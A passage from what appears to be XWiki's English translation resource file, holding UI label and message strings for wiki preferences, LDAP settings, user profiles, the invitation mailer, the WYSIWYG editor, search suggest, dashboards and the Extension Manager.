Verification\nXWiki.XWikiPreferences_backlinks=Backlinks\nXWiki.XWikiPreferences_invitation_email_content=Invitation email content\nXWiki.XWikiPreferences_registration_anonymous=Anonymous\nXWiki.XWikiPreferences_registration_registered=Registered\nXWiki.XWikiPreferences_edit_anonymous=Anonymous\nXWiki.XWikiPreferences_edit_registered=Registered\nXWiki.XWikiPreferences_comment_anonymous=Anonymous\nXWiki.XWikiPreferences_comment_registered=Registered\nXWiki.XWikiPreferences_leftPanels=Panels displayed on the left\nXWiki.XWikiPreferences_leftPanels.hint=A comma separated list of panels to display on the left column. E.g.: Panels.Applications, Panels.Navigation\nXWiki.XWikiPreferences_rightPanels=Panels displayed on the right\nXWiki.XWikiPreferences_rightPanels.hint=A comma separated list of panels to display on the right column.\nXWiki.XWikiPreferences_showLeftPanels=Display the left panel column\nXWiki.XWikiPreferences_showRightPanels=Display the right panel column\nXWiki.XWikiPreferences_leftPanelsWidth=Width of the left panel column\nXWiki.XWikiPreferences_leftPanelsWidth.hint=Choose the size of the left panel column.\nXWiki.XWikiPreferences_rightPanelsWidth=Width of the right panel column\nXWiki.XWikiPreferences_rightPanelsWidth.hint=Choose the size of the right panel column.\nXWiki.XWikiPreferences_leftPanelsWidth_Small=Small\nXWiki.XWikiPreferences_leftPanelsWidth_Medium=Medium\nXWiki.XWikiPreferences_leftPanelsWidth_Large=Large\nXWiki.XWikiPreferences_rightPanelsWidth_Small=Small\nXWiki.XWikiPreferences_rightPanelsWidth_Medium=Medium\nXWiki.XWikiPreferences_rightPanelsWidth_Large=Large\nXWiki.XWikiPreferences_languages=Supported languages\nXWiki.XWikiPreferences_tags=Activate the tagging\nXWiki.XWikiPreferences_parent=Parent space\nXWiki.XWikiPreferences_documentBundles=Internationalization Document Bundles\nXWiki.XWikiPreferences_upload_maxsize=Maximum Upload Size\nXWiki.XWikiPreferences_xwiki.title.mandatory=Make page title field mandatory\nXWiki.XWikiPreferences_showannotations=Show page annotations\nXWiki.XWikiPreferences_showcomments=Show page comments\nXWiki.XWikiPreferences_showattachments=Show page attachments\nXWiki.XWikiPreferences_showhistory=Show page history\nXWiki.XWikiPreferences_showinformation=Show page information\nXWiki.XWikiPreferences_editcomment=Enable version summaries\nXWiki.XWikiPreferences_editcomment_mandatory=Make version summaries mandatory\nXWiki.XWikiPreferences_minoredit=Enable minor edits\nXWiki.XWikiPreferences_ldap=Ldap\nXWiki.XWikiPreferences_ldap.hint=Enable or not LDAP authentication for this wiki. If enabled and configured properly, a local user will be created whenever a LDAP user visit this wiki for the first time.\nXWiki.XWikiPreferences_ldap_server=Ldap server address\nXWiki.XWikiPreferences_ldap_port=Ldap server port\nXWiki.XWikiPreferences_ldap_bind_DN=Ldap login matching\nXWiki.XWikiPreferences_ldap_bind_DN.hint=LDAP login. Leave empty for anonymous access, otherwise specify full dn. {0} is replaced with the user name, {1} with the password.\nXWiki.XWikiPreferences_ldap_bind_pass=Ldap password matching\nXWiki.XWikiPreferences_ldap_bind_pass.hint=Ldap password matching. Use in combination with Ldap login matching.\nXWiki.XWikiPreferences_ldap_validate_password=Validate Ldap user/password\nXWiki.XWikiPreferences_ldap_user_group=Restrict to group\nXWiki.XWikiPreferences_ldap_user_group.hint=Only members of the following group will be verified in the directory. If you leave empty, all users that are found after searching starting from the base_DN will be verified.\nXWiki.XWikiPreferences_ldap_exclude_group=Ldap group to exclude\nXWiki.XWikiPreferences_ldap_exclude_group.hint=If not empty, the mentionned group will never be verified against in the directory.\nXWiki.XWikiPreferences_ldap_base_DN=Ldap base DN\nXWiki.XWikiPreferences_ldap_UID_attr=Ldap UID attribute name\nXWiki.XWikiPreferences_ldap_UID_attr.hint=Specifies the LDAP attribute containing the identifier to be used as the XWiki name. The default is \"cn\".\nXWiki.XWikiPreferences_ldap_fields_mapping=Ldap user fields mapping\nXWiki.XWikiPreferences_ldap_update_user=Update user from LDAP after login\nXWiki.XWikiPreferences_ldap_update_user.hint=If not, the mapped attributes from LDAP to XWiki will be updated only when the user is created when login for the first time.\nXWiki.XWikiPreferences_ldap_update_photo=Update user photo from LDAP\nXWiki.XWikiPreferences_ldap_update_photo.hint=If enabled xwiki avatar will be synchronized with LDAP\nXWiki.XWikiPreferences_ldap_photo_attachment_name=Attachment name used to save LDAP photo\nXWiki.XWikiPreferences_ldap_photo_attachment_name.hint=Filename of LDAP photo that will be used in xwiki profile\nXWiki.XWikiPreferences_ldap_photo_attribute=Ldap photo attribute name\nXWiki.XWikiPreferences_ldap_photo_attribute.hint=Specifies the LDAP attribute containing photo image\nXWiki.XWikiPreferences_ldap_group_mapping=Ldap groups mapping\nXWiki.XWikiPreferences_ldap_groupcache_expiration=LDAP groups cache expiration\nXWiki.XWikiPreferences_ldap_groupcache_expiration.hint=Time in seconds after which the list of members in a group is refreshed from LDAP. The default is 21600 (6 hours).\nXWiki.XWikiPreferences_ldap_mode_group_sync=When to synchronize LDAP groups\nXWiki.XWikiPreferences_ldap_mode_group_sync_always=At each authentication of a user\nXWiki.XWikiPreferences_ldap_mode_group_sync_create=Upon creation of a user\nXWiki.XWikiPreferences_ldap_trylocal=Try local login\nXWiki.XWikiPreferences_ldap_trylocal.hint=If LDAP authentication fails, try XWiki DB authentication with the same credentials. Default is Yes.\nXWiki.XWikiPreferences_dateformat=Date format\nXWiki.XWikiPreferences_guest_comment_requires_captcha=Enable CAPTCHA in comments for unregistered users\nXWiki.XWikiPreferences_timezone=Timezone\nXWiki.XWikiPreferences_timezone_default=System Default", "### XWiki.XWikiRights (core)\nXWiki.XWikiRights_allow=Allow/Deny\nXWiki.XWikiRights_groups=Groups\nXWiki.XWikiRights_levels=Levels\nXWiki.XWikiRights_users=Users", "### XWiki.XWikiUsers (core)\nXWiki.XWikiUsers_active=Active\nXWiki.XWikiUsers_password=Password\nXWiki.XWikiUsers_email=Email\nXWiki.XWikiUsers_comment=About\nXWiki.XWikiUsers_first_name=First Name\nXWiki.XWikiUsers_last_name=Last Name\nXWiki.XWikiUsers_fullname=Full Name\nXWiki.XWikiUsers_validkey=Validation Key\nXWiki.XWikiUsers_default_language=Default Language\nXWiki.XWikiUsers_company=Company\nXWiki.XWikiUsers_blog=Blog\nXWiki.XWikiUsers_blogfeed=Blog Feed\nXWiki.XWikiUsers_imtype=IM Type\nXWiki.XWikiUsers_imaccount=IM Account\nXWiki.XWikiUsers_city=City\nXWiki.XWikiUsers_country=Country\nXWiki.XWikiUsers_editor=Default Editor\nXWiki.XWikiUsers_skin=Skin\nXWiki.XWikiUsers_pageWidth=Preferred page width\nXWiki.XWikiUsers_avatar=Avatar\nXWiki.XWikiUsers_usertype=User Type\nXWiki.XWikiUsers_usertype_Simple=Simple\nXWiki.XWikiUsers_usertype_Advanced=Advanced\nXWiki.XWikiUsers_phone=Phone\nXWiki.XWikiUsers_address=Address\nXWiki.XWikiUsers_extensionConflictSetup=Enable extension conflict setup", "### XWiki.XWikiSkins (core)\nXWiki.XWikiSkins_name=Name\nXWiki.XWikiSkins_style.css=Style\nXWiki.XWikiSkins_header.vm=Header\nXWiki.XWikiSkins_footer.vm=Footer\nXWiki.XWikiSkins_view.vm=View\nXWiki.XWikiSkins_viewheader.vm=View Header\nXWiki.XWikiSkins_pagemenu.vm=Page Menu\nXWiki.XWikiSkins_comments2.vm=Comments\nXWiki.XWikiSkins_edit.vm=Edit\nXWiki.XWikiSkins_baseskin=Base Skin\nXWiki.XWikiSkins_logo=Logo", "### XWiki.Registration (administration application)\nXWiki.Registration_heading=Registration page heading\nXWiki.Registration_welcomeMessage=Welcome message\nXWiki.Registration_liveValidation_enabled=Enable Javascript field validation\nXWiki.Registration_liveValidation_defaultFieldOkMessage=Default field okay message\nXWiki.Registration_loginButton_enabled=Enable login button\nXWiki.Registration_loginButton_autoLogin_enabled=Enable automatic login\nXWiki.Registration_defaultRedirect=Redirect here after registration\nXWiki.Registration_requireCaptcha=Require CAPTCHA to register\nXWiki.Registration_registrationSuccessMessage=Registration Successful Message", "### XWiki.InvitationMail (Invitation Application) Email XObject\nInvitation.InvitationMailClass_messageID=Email message identifier\nInvitation.InvitationMailClass_messageGroupID=Message group identifier\nInvitation.InvitationMailClass_recipient=Email address which this message was sent to\nInvitation.InvitationMailClass_sendingUser=User who sent the message\nInvitation.InvitationMailClass_subjectLine=Subject line\nInvitation.InvitationMailClass_messageBody=Message content\nInvitation.InvitationMailClass_status=Number indicating the message status\nInvitation.InvitationMailClass_sentDate=Date message was sent\nInvitation.InvitationMailClass_memo=Memo attached to this message\nInvitation.InvitationMailClass_history=Activity history for this invitation\nInvitation.InvitationMailClass_messageBodyPlain=Plain message for non HTML email clients", "### XWiki.WebHome (Invitation application) Configuration\nInvitation.WebHome_from_address=Email \"from\" address\nInvitation.WebHome_smtp_server_password=Smtp password\nInvitation.WebHome_smtp_server_username=Smtp username\nInvitation.WebHome_smtp_port=Smtp port\nInvitation.WebHome_smtp_server=Smtp server host name\nInvitation.WebHome_javamail_extra_props=Javamail extra properties\nInvitation.WebHome_subjectLineTemplate=Email subject line template\nInvitation.WebHome_messageBodyTemplate=Email message body HTML template\nInvitation.WebHome_messageBodyTemplatePlain=Message body plain text template\nInvitation.WebHome_emailClass=Email message XClass\nInvitation.WebHome_emailContainer=Page containing email XObjects\nInvitation.WebHome_emailRegex=Regular expression for validating email addresses\nInvitation.WebHome_allowUsersOfOtherWikis=Let users of other wikis send\nInvitation.WebHome_usersMayPersonalizeMessage=Let users personalize messages\nInvitation.WebHome_usersMaySendToMultiple=Let users send to multiple addresses", "### XWiki.WysiwygEditorConfigClass (administration application)\nXWiki.WysiwygEditorConfigClass_sourceEditorEnabled=Source editor enabled\nXWiki.WysiwygEditorConfigClass_plugins=Plugins\nXWiki.WysiwygEditorConfigClass_menuBar=Menu Bar\nXWiki.WysiwygEditorConfigClass_toolBar=Tool Bar\nXWiki.WysiwygEditorConfigClass_cleanPaste=Clean paste content automatically\nXWiki.WysiwygEditorConfigClass_attachmentSelectionLimited=Attachment selection limited\nXWiki.WysiwygEditorConfigClass_externalImages=External images\nXWiki.WysiwygEditorConfigClass_imageSelectionLimited=Image selection limited\nXWiki.WysiwygEditorConfigClass_colorPalette=Color palette\nXWiki.WysiwygEditorConfigClass_colorsPerRow=Colors per row\nXWiki.WysiwygEditorConfigClass_fontNames=Font names\nXWiki.WysiwygEditorConfigClass_fontSizes=Font sizes\nXWiki.WysiwygEditorConfigClass_styleNames=Style names", "####################\n# XWiki Classes End\n####################", "###Dashboard translations\ndashboard.gadget.actions.delete.confirm=Are you sure you want to delete this gadget?\ndashboard.gadget.actions.delete.inProgress=Deleting gadget...\ndashboard.gadget.actions.delete.done=Gadget deleted\ndashboard.gadget.actions.delete.failed=Failed to delete gadget:\ndashboard.gadget.actions.delete.tooltip=Remove this gadget from the dashboard\ndashboard.gadget.actions.edit.tooltip=Edit this gadget's parameters\ndashboard.gadget.actions.edit.error.notmacro=The parameters of this gadget cannot be edited using this visual editor, please use the object editor to edit this gadget.\ndashboard.gadget.actions.edit.error.notmacro.title=Edit gadget parameters\ndashboard.gadget.actions.drop=You can drop gadgets here\ndashboard.gadget.actions.edit.loading=Saving gadget configuration...\ndashboard.gadget.actions.edit.failed=Failed to save gadget configuration:\ndashboard.actions.save.loading=Saving dashboard changes...\ndashboard.actions.edit.failed=Failed to save dashboard configuration:\ndashboard.actions.edit.differentsource.information=You are editing a dashboard defined in a different page,\ndashboard.actions.edit.differentsource.warning=. Your changes will impact all the pages using that dashboard configuration. If you want to customize only this page, edit this page in WYSIWYG mode and configure the dashboard macro with an empty source parameter.\ndashboard.actions.add.button=Add Gadget\ndashboard.actions.add.tooltip=Add a new gadget to this dashboard\ndashboard.actions.add.loading=Adding the gadget...\ndashboard.actions.add.failed=Failed to add gadget:\ndashboard.actions.columns.add.button=Add column\ndashboard.actions.columns.add.tooltip=Add a new column in this dashboard, at the end", "### Search application resources\nadmin.searchsuggest=Search Suggest\nadmin.searchsuggest.description=Configure the search suggest options.\nadmin.search=Search\nadmin.search.description=Choose the default search engine or configure the search index.\nsearch.admin.title=Search\nsearch.admin.configuration.seexwikicfg=See xwiki.cfg file for more configurations options.\nsearch.admin.configuration.button=Save\nsearch.extension.title.database=Database\nsearch.extension.title.solr=Solr\nXWiki.SearchConfigClass_engine=Default search engine\nsearch.page.title.query=Search: {0}\nsearch.page.title.noquery=Search\nsearch.page.bar.spaces.title=Location\nsearch.page.bar.wikis.all=All wikis\nsearch.page.bar.query.tip=search...\nsearch.page.bar.query.title=Enter your search query\nsearch.page.bar.querytip=e.g. xwiki* AND \"search query\"\nsearch.page.bar.submit=Search\nsearch.page.bar.submit.title=Search query\nsearch.page.database.title.query=Database Search: {0}\nsearch.page.database.title.noquery=Database Search\nsearch.page.results=Results\nsearch.page.results.page=Page\nsearch.page.results.space=Space\nsearch.page.results.wiki=Wiki\nsearch.page.results.date=Date\nsearch.page.results.author=Last Author\nsearch.page.results.score=Score\nsearch.page.results.actions=Actions\nsearch.page.results.newcomment=- 1 new comment\nsearch.page.results.noResults=Your search did not match any pages.\nsearch.page.noimplementation=There's no Search UI Extension available in your wiki. Please contact your Administrator.\nsearch.item.locatedIn=Located in\nsearch.item.modified=Modified by <span class=\"itemAuthor\">{0}</span> on <span class=\"itemDate\">{1}</span>\nsearch.item.posted=Posted by <span class=\"itemAuthor\">{0}</span> on <span class=\"itemDate\">{1}</span>\nsearch.item.rating.title=Rating\nsearch.item.relevance.title=Relevance\nsearch.item.type.comment.title=Comment\nsearch.item.type.attachment.title=Attachment\nsearch.item.type.author.title=Author\nsearch.item.type.page.title=Page\nsearch.item.type.wiki.title=Wiki\nsearch.item.type.space.title=Space\nsearch.rss=RSS feed for search on {0}\nplatform.search.suggestSources=Sources\nplatform.search.suggestSources.hint=Search suggest results are aggregated from multiple sources. The sources are grouped by the search engine they use. Each source is configured to match a specific thing (e.g. the page name). Only the sources that are active and that use the current search engine contribute results to the search suggest.\nplatform.search.suggestAddNewSource=Add a new source\nplatform.search.suggestNewSourceName=New Source\nplatform.search.suggestSourceDocumentTitle=Page titles\nplatform.search.suggestSourceDocumentContent=Page content\nplatform.search.suggestSourceAttachmentName=Attachment names\nplatform.search.suggestSourceAttachmentContent=Attachment content\nplatform.search.suggestSourceBlogPost=Blog posts\nplatform.search.suggestSourceWikis=Wikis\nplatform.search.suggestSourceUsers=Users\nplatform.search.suggestConfigSaveComment=Updated the search suggest configuration from the Administration\nplatform.search.suggestResultLocatedIn=in", "XWiki.SearchSuggestConfig_activated=Activated\nXWiki.SearchSuggestConfig_activated.hint=Whether the search suggest is active or not.", "XWiki.SearchSuggestSourceClass_name=Name\nXWiki.SearchSuggestSourceClass_name.hint=The name used to group search results taken from this source. It can be a translation key.\nXWiki.SearchSuggestSourceClass_engine=Engine\nXWiki.SearchSuggestSourceClass_engine.hint=The search engine used to retrieve the results. This source is ignored if the current wiki is configured to use a different search engine.\nXWiki.SearchSuggestSourceClass_url=Service\nXWiki.SearchSuggestSourceClass_url.hint=The search suggest service. It can be either a page reference or an external URL.\nXWiki.SearchSuggestSourceClass_query=Query\nXWiki.SearchSuggestSourceClass_query.hint=The query that is passed to the search suggest service. It must contain a __INPUT__ placeholder for the searched text.\nXWiki.SearchSuggestSourceClass_resultsNumber=Limit\nXWiki.SearchSuggestSourceClass_resultsNumber.hint=The maximum number of search results taken from this source.\nXWiki.SearchSuggestSourceClass_icon=Icon\nXWiki.SearchSuggestSourceClass_icon.hint=The icon used to mark search results taken from this source. E.g. icon:user\nXWiki.SearchSuggestSourceClass_highlight=Highlight\nXWiki.SearchSuggestSourceClass_highlight.hint=Highlight the searched text in the search suggest results.\nXWiki.SearchSuggestSourceClass_activated=Activated\nXWiki.SearchSuggestSourceClass_activated.hint=Whether this source is used or not (as long as the source search engine matches the search engine used by the current wiki).", "### CSRFToken resources\ncsrf.confirmation=<p>This request contains an invalid authentication information.</p><p>This might happen in the following situations:</p><ul><li>You left the editor open in another window/tab and logged off and on again</li><li>Your authentication token expired after a long period of inactivity</li><li>Somebody tried to perform a CSRF attack</li></ul><p>If you are sure that none of these situations apply in your case, you might have found a bug. We are sorry about that, please report it on <a href=\"http://jira.xwiki.org/\">XWiki JIRA</a></p><p>Do you want to resend the request? If unsure, say <strong>No</strong>.</p>", "### Extension Manager application resources\nadmin.extensions=Extension Manager", "### WYSIWYG content editor administration section resources\nadmin.wysiwyg=WYSIWYG Editor\nwysiwyg.config.title=WYSIWYG Editor Configuration Panel\nwysiwyg.config.class.title=WYSIWYG Editor Configuration Class\nwysiwyg.config.sheet.title=WYSIWYG Editor Configuration Class Sheet\nwysiwyg.config.template.title=WYSIWYG Editor Configuration Template\nwysiwyg.admin.general=General settings\nwysiwyg.admin.sourceEditorEnabled.hint=Enable or disable the WYSIWYG/Source tabs.\nwysiwyg.admin.plugins.hint=The list of plugins that are loaded by the WYSIWYG editor. You can change the order in which they are loaded by drag and drop. You can also add new plugins to the list or remove existing ones.\nwysiwyg.admin.plugins.add.hint=Add plugin..\nwysiwyg.admin.menuBar.hint=The list of entries on the WYSIWYG editor menu bar. You can change their order by drag and drop. You can also add new entries on the menu bar or remove existing ones. Each menu bar entry is provided by a plugin and is displayed only if that plugin is loaded.\nwysiwyg.admin.menuBar.add.hint=Add entry..\nwysiwyg.admin.toolBar.hint=The list of features available on the WYSIWYG editor tool bar. You can change their order by drag and drop. You can also add new features on the tool bar or remove existing ones. Each tool bar feature is provided by a plugin and is displayed only if that plugin is loaded.\nwysiwyg.admin.toolBar.add.hint=Add feature..\nwysiwyg.admin.plugin.settings.hint=The following settings are taken into account only if the {0} plugin is loaded.\nwysiwyg.admin.cleanPaste.hint=Enable if you want the content that is pasted into the rich text area to be cleaned automatically. The cleaning process implies fixing HTML validity (e.g. by removing elements that are custom to some office document formats) and also filtering text styles like font, color, alignment or margins. Content structure like heading levels, paragraphs, list or tables are preserved. Semantic text styles like strong, emphasize, underline or strikethrough are also preserved. You can still clean the paste content when this option is disabled if you have the paste icon on the tool bar, but you have to trigger the clean manually.\nwysiwyg.admin.link=Link settings\nwysiwyg.admin.attachmentSelectionLimited.hint=When creating a link to an attachment allow the user to choose only from the attachments of the edited page.\nwysiwyg.admin.image=Image settings\nwysiwyg.admin.externalImages.hint=Allow users to insert external images, i.e. images that are not attached to a wiki page.\nwysiwyg.admin.imageSelectionLimited.hint=When inserting an image allow the user to choose only from the list of images attached to the edited page.\nwysiwyg.admin.color=Color settings\nwysiwyg.admin.colorsPerRow.hint=The number of colors to display per row in the color picker.\nwysiwyg.admin.colorPalette.hint=The colors available in the color picker. You can change any color by clicking on it.\nwysiwyg.admin.font=Font settings\nwysiwyg.admin.fontNames.hint=The list of font names available in the font picker. You can add new font names or remove existing ones.\nwysiwyg.admin.fontNames.add.hint=Add font name..\nwysiwyg.admin.fontSizes.hint=The list of font sizes available in the font picker. You can change their order by drag and drop. You can also add new font sizes or remove existing ones.\nwysiwyg.admin.fontSizes.add.hint=Add font size..\nwysiwyg.admin.style=Style settings\nwysiwyg.admin.styleNames.hint=The list of style names available in the style picker. You can also add new style names or remove/edit existing ones.\nwysiwyg.admin.widgets.sortableList.hint=Drag and drop to change the order\nwysiwyg.admin.widgets.sortableList.add=Add\nwysiwyg.admin.widgets.sortableList.delete=Delete\nwysiwyg.admin.widgets.colorPaletteEditor.hint=Click to change the color\nwysiwyg.admin.widgets.colorPaletteEditor.rows=Rows\nwysiwyg.admin.widgets.colorPaletteEditor.columns=Columns\nwysiwyg.admin.widgets.colorPaletteEditor.refresh=Refresh\nwysiwyg.admin.widgets.listBox.add=Add\nwysiwyg.admin.widgets.listBox.delete=Delete\nwysiwyg.admin.widgets.styleNamesEditor.blockStyles=Block Styles\nwysiwyg.admin.widgets.styleNamesEditor.inlineStyles=Inline Styles\nwysiwyg.admin.widgets.styleNamesEditor.styleName=Style name\nwysiwyg.admin.widgets.styleNamesEditor.styleLabel=Style label\nwysiwyg.admin.widgets.styleNamesEditor.styleInline=Inline style\nwysiwyg.admin.widgets.styleNamesEditor.add=Add\nwysiwyg.admin.saveComment=Updated the WYSIWYG Editor configuration from the Administration", "### Link Checker Application Resources\nplatform.linkchecker.indexTab=External Links\nplatform.linkchecker.livetable.link=Link\nplatform.linkchecker.livetable.page=Page\nplatform.linkchecker.livetable.code=State\nplatform.linkchecker.livetable.date=Last Checked", "### Dashboard Application Resources\nplatform.dashboard.user.preferences=Dashboard preferences\nplatform.dashboard.user.displayOnMainPage=Replace the default dashboard with my custom dashboard\nplatform.dashboard.wiki=Dashboard\nplatform.dashboard.wiki.pages=Pages\nplatform.dashboard.wiki.tagcloud=Tags\nplatform.dashboard.wiki.activity=Activity Stream\nplatform.dashboard.wiki.messageSender=Send Message\nplatform.dashboard.wiki.personal.empty.edit=edit the dashboard section in your profile\nplatform.dashboard.wiki.personal.empty=Your dashboard is currently empty. You can {0} to configure it. In the mean time, the default dashboard is displayed below.\nplatform.dashboard.space=Dashboard for space {0}\nplatform.dashboard.space.activity=Activity Stream for {0}\nplatform.dashboard.space.documents=Pages in {0}\nplatform.dashboard.space.remainingDocumentsInSpace=and {0} {0,choice,1#more page|1<more pages} in space {1}\nplatform.dashboard.space.visitSpaceIndex=visit the Space Index to see the full list\nplatform.dashboard.space.tagcloud=Tags for {0}\nplatform.dashboard.space.templateName=Dashboard", "### Extension Manager\nextensions.actions.showDetails=Show details\nextensions.actions.hideDetails=Hide details\nextensions.actions.install=Install\nextensions.actions.uninstall=Uninstall\nextensions.actions.upgrade=Upgrade\nextensions.actions.downgrade=Downgrade\nextensions.actions.installGlobally=Install on farm\nextensions.actions.uninstallGlobally=Uninstall from farm\nextensions.actions.upgradeGlobally=Upgrade on farm\nextensions.actions.downgradeGlobally=Downgrade on farm\nextensions.actions.back=Back to list\nextensions.actions.continue=Continue\nextensions.actions.diff=Show changes\nextensions.actions.repairXAR=Repair\nextensions.actions.repairXAR.hint=Mark this XAR extension as installed without importing its wiki pages\nextensions.actions.diffXAR=Compute changes\nextensions.actions.diffXAR.hint=Compute the changes made to the extension pages\nextensions.actions.repair=Repair\nextensions.actions.repairGlobally=Repair on farm\nextensions.install.title=Installing {0}\nextensions.install.error.installFailure=Failed to install extension with id {0} and version {1}:\nextensions.install.error.prepareFailure=Can''t resolve extension with id {0} and version {1}:\nextensions.install.error.alreadyInstalled=This extension is already installed.\nextensions.install.error.diffXarFailure=Failed to compute the changes made to the extension pages.\nextensions.install.list.install=The following new extensions will be installed:\nextensions.install.list.upgrade=The following extensions will be upgraded:\nextensions.install.list.downgrade=The following extensions will be downgraded:\nextensions.install.list.uninstall=The following extensions will be removed:\nextensions.install.list.repair=The following extensions will be repaired:\nextensions.install.list.top=The following extensions dependencies will be made top level:\nextensions.upgrade.mergeConflict.label=Merge conflict\nextensions.upgrade.mergeConflict.hint=The page {0} has changes that could be overwritten during the upgrade.\nextensions.upgrade.mergeConflict.versionToKeep.next=Keep the new version of the page (all your changes will be overwritten)\nextensions.upgrade.mergeConflict.versionToKeep.merged=Keep the merged version of the page (some of your changes could be overwritten)\nextensions.upgrade.mergeConflict.versionToKeep.current=Keep the current version of the page (the extension might not work properly after the upgrade)\nextensions.upgrade.mergeConflict.autoResolve=Resolve automatically\nextensions.upgrade.mergeConflict.autoResolve.hint=Resolve all the remaining merge conflicts automatically by choosing the same page version as now.\nextensions.upgrade.mergeConflict.changes.title=Changes for page {0}\nextensions.upgrade.mergeConflict.changes.original=Compare\nextensions.upgrade.mergeConflict.changes.revised=with\nextensions.upgrade.mergeConflict.changes.versionToCompare.previous=Previous version\nextensions.upgrade.mergeConflict.changes.versionToCompare.current=Current version\nextensions.upgrade.mergeConflict.changes.versionToCompare.next=New version\nextensions.upgrade.mergeConflict.changes.versionToCompare.merged=Merged version\nextensions.uninstall.title=Uninstalling {0}\nextensions.uninstall.error.uninstallFailure=Failed to uninstall extension with id {0} and version {1}:\nextensions.uninstall.error.prepareFailure=Failed to prepare uninstalling extension with id {0} and version {1}:\nextensions.uninstall.error.notInstalled=This extension is not installed.\nextensions.uninstall.cleanPages.label=Delete unused wiki pages?\nextensions.uninstall.cleanPages.hint=The following wiki pages are not needed any more so it should be safe to delete them. Unselect the ones that you wish to keep. The wiki pages that have modifications are left unselected so that you don't loose your changes. Select them if those changes are not important.\nextensions.uninstall.cleanPages.selectedCount={0} / {1} pages selected\nextensions.search.submit=Search\nextensions.search.tip=search extension...\nextensions.search.all.label=All Extensions\nextensions.search.recommended.label=Recommended\nextensions.search.recommended.tooltip=Only show extensions explicitly tagged as recommended\nextensions.search.recommended.fallback=No recommended extension could be found matching ''{0}'', displaying results of the search in all extensions.\nextensions.search.indexed.label=Indexed\nextensions.search.indexed.tooltip=Search extensions in the local index or directly on the configured extensions repositories\nextensions.search.indexed.disclaimer=This only includes indexed extensions.\nextensions.search.indexed.started=Index started on {0}.\nextensions.search.indexed.on=Indexed on {0}.\nextensions.search.indexed.nojob=Could not find any previous indexation processing.\nextensions.search.indexed.reindex=Reindex\nextensions.search.indexed.refresh=Refresh\nextensions.search.compatible.label=Compatible\nextensions.search.compatible.tooltip=Show only compatible extensions in the current context\nextensions.search.repository.remote.label=Available Extensions\nextensions.search.repository.core.label=Core extensions\nextensions.search.repository.core.empty=There are no core extensions.\nextensions.search.repository.installed.label=Installed extensions\nextensions.search.repository.installed.empty=There are no extensions installed.\nextensions.search.repository.local.label=Local extensions\nextensions.search.repository.local.empty=There are no local extensions.\nextensions.search.noResults=There were no extensions found matching ''{0}''. Try different keywords.\\nAlternatively, if you know the identifier and the version of the extension you''re looking for, you can use the Advanced Search form above.\nextensions.advancedSearch.title=Advanced search\nextensions.advancedSearch.id.label=Extension ID\nextensions.advancedSearch.version.label=Version\nextensions.advancedSearch.actions.submit=Search\nextensions.advancedSearch.actions.cancel=Cancel\nextensions.advancedSearch.noResults=We couldn''t find any extension with id ''{0}'' and version ''{1}''. Make sure you have the right extension repositories configured.\nextensions.info.authors=by:\nextensions.info.recommended=Recommended\nextensions.info.authors.xwikiorg=XWiki Development Team\nextensions.info.category.description=Description\nextensions.info.category.releaseNotes=Release Notes\nextensions.info.category.dependencies=Dependencies\nextensions.info.category.changes=Changes\nextensions.info.category.progress=Progress\nextensions.info.id=Id\nextensions.info.type=Type\nextensions.info.license={0,choice,0#Unknown license|1#License|1<Licenses}\nextensions.info.features={0,choice,0#No features|1#Feature|1<Features}\nextensions.info.repository=Repository\nextensions.info.website=Website\nextensions.info.scm=Sources\nextensions.info.issueManagement=Issues\nextensions.info.globalNamespace=global namespace\nextensions.info.namespaces.global=Installed globally\nextensions.info.namespaces.list=Installed on the following namespaces\nextensions.info.installedBy=Installed by {0} on {1}\nextensions.info.installedGloballyBy=Installed globally by {0} on {1}\nextensions.info.installedOnNamespaceBy={0}, by {1} on {2}\nextensions.info.dependencies.directDependencies={0,choice,0#|0<This extension depends on:}\nextensions.info.dependencies.backwardDependencies={0,choice,0#|0<This extension is required by:}\nextensions.info.dependency.wiki=(in wiki {0})\nextensions.info.fetch.failed=Failed to retrieve extension data.\nextensions.info.fetch.unauthorized=Unauthorized request. Your session has expired or you lost rights while installing or uninstalling an extension. You need to re-login in order to continue. Do you wish to proceed?\nextensions.info.status.core=Provided\nextensions.info.status.installed=Installed\nextensions.info.status.installed-dependency=Installed as dependency\nextensions.info.status.installed-invalid=Installed but not valid\nextensions.info.status.remote-core=Version {0} is provided\nextensions.info.status.remote-core-incompatible=Incompatible with provided version {0}\nextensions.info.status.remote-installed=Version {0} is installed\nextensions.info.status.remote-installed-dependency=Version {0} is installed as dependency\nextensions.info.status.remote-installed-incompatible=Incompatible with installed version {0}\nextensions.info.status.remote-installed-invalid=Installed version {0} is not valid\nextensions.info.stableVersions.linkLabel=List stable versions\nextensions.info.stableVersions.label=Stable Versions\nextensions.info.stableVersions.noResults=There are no stable versions available.\nextensions.applicationsPanel.install=Install new applications\nextensions.xar.changes.reset.button=Reset\njob.log.label.install=Install log\njob.log.label.installplan=Install plan log\njob.log.label.uninstall=Uninstall log\njob.log.label.uninstallplan=Uninstall plan log", "platform.extension.info.error.versionNotCompatible=This version is not compatible with your installation.\nplatform.extension.info.error.versionNotCompatibleHint=Search for a compatible version by going through the list of \"Stable Versions\" located in the extension's \"Description\" tab.", "platform.extension.updater.checkForUpdates=Check for updates\nplatform.extension.updater.checkForUpdatesGlobally=Check for updates on farm\nplatform.extension.updater.lastCheckDate=The last time you checked for updates was on {0}.\nplatform.extension.updater.loading=Checking for updates...\nplatform.extension.updater.noUpdatesAvailable=All extensions are up to date.\nplatform.extension.updater.createUpgradePlanFailure=Failed to create the upgrade plan.\nplatform.extension.updater.invalidExtensionsLabel=Invalid extensions\nplatform.extension.updater.invalidExtensionsHint=The following extensions from {0} have to be upgraded or downgraded in order to work with your current distribution:\nplatform.extension.updater.outdatedExtensionsLabel=Outdated extensions\nplatform.extension.updater.outdatedExtensionsHint=The following extensions from {0} can be upgraded:\nplatform.extension.updater.pagingrestart=The list of extensions has been changed; showing first page of the changed list.", "platform.extension.distributionWizard.stepHeading={0,choice,0#|0<Step {0} - } {1}\nplatform.extension.distributionWizard.unknownStepError=Unknown step\nplatform.extension.distributionWizard.continueLabel=Continue\nplatform.extension.distributionWizard.skipLabel=Later\nplatform.extension.distributionWizard.skipHint=Ask me again after XWiki is restarted\nplatform.extension.distributionWizard.replayLabel=Replay recorded actions\nplatform.extension.distributionWizard.replayHint=Upload an extension history file and replay the recorded actions\nplatform.extension.distributionWizard.cancelLabel=Never\nplatform.extension.distributionWizard.cancelHint=I can do this by myself, I don't want to use the wizard\nplatform.extension.distributionWizard.cancelConfirmation=Are you sure you don't want to use the wizard? If you don't know how to do this by yourself then you should continue with the wizard. You won't be able to get back the wizard easily 